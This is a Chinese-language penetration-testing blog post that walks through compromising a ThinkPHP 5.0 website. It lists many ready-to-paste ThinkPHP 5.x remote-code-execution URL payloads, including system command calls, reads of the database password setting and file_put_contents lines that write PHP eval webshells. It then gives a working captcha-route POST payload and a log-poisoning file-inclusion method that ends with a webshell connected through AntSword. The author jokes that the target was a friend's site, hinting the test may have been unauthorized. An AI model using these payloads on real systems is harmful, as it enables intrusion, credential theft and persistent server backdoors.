實戰滲透,輕鬆拿shell五步走

文章源自【位元組脈搏社區】-位元組脈搏實驗室

作者-whit

1.起因

我有一個朋友,讓我幫忙測試一下他的站,於是有了這篇文章。(無中生友篇)

2.信息收集

訪問首頁一下先,看到是thinkphp v5.0版本。

然後谷歌大法,直接上TP 5.X RCE的EXP,一頓騷操作:

?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

?s=index/thinkRequest/input&filter=phpinfo&data=1

?s=index/thinkconfig/get&name=database.hostname

?s=index/thinkconfig/get&name=database.password

?s=index/thinkRequest/input&filter=system&data=id

?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

?s=index/thinkviewdriverPhp/display&content=<?php%20phpinfo();?>

?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell1.php&vars[1][]=<?phpinfo();?>

?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell2.php&vars[1][]=<?php eval($_POST[xm])?>i

不好意思,一個都沒用,只是發出來讓你們收藏一下。嘿嘿嘿。。。

3.exp混合利用,文件包含和日誌寫入木馬

接下來我們上一個有用的。

/index.php?s=captcha

_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

改為POST方法,加一個參數Content-Type: application/x-www-form-urlencoded

順利爆出phpinfo,有戲,接着往下看。

再檢測一波:增加type請求頭,然後payload:81aaa=id&_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=POST

報錯,sysytem函數被攔截。可以換種方法getshell了。

由於目標站似乎對一些命令執行的函數有禁用,再加上這個 tp這個漏洞:

1.函數執行結果不會直接回顯 2.限制了函數執行參數只能為一個 導致⼀開始一直卡殼。 後來想了想,由於前⾯測試從 debug 信息來看,好像沒有禁⽌文件操作的函數,再加上 tp 本身就有用到文件讀寫的操作,所以⽂件讀寫操作肯定是能用的。 file_get_contents 函數可以執行,但這裡不會輸出函數執行的結果, file_put_contents 函數⼜要兩個參數,include 又不是函數⽽沒法在這裡調用,所以感覺還是得先從 tp 框架里找現成的危險操作函數來⽤。

__include_file 是在漏洞點可以直接調用的函數,⽽且封裝了文件包含操作,所以能⽤它去讀⽬標服務器上的⽂件了:

被限制了讀取文件的範圍,但是能證明確實有用。由於是⽂件包含的操作,所以我想到了通過在 url 里包含惡意代碼,利用請求報錯記錄到 tp ⾃己的⽇志里,然後包含日誌來執行任意代碼(當然這裡不包括禁用函數)。

寫入一句話shell到日誌文件里:

4.通過一句話 copy 新一句話文件到指定目錄

5.蟻劍連接,打完收工,點到為止。

部分細節省略,比如目錄偵測啥的,這個操作細心點就行。還是熱乎的實戰手法,提交公益src的師傅們可以自行操作一波了。大佬勿噴,有錯請指出,會及時修改。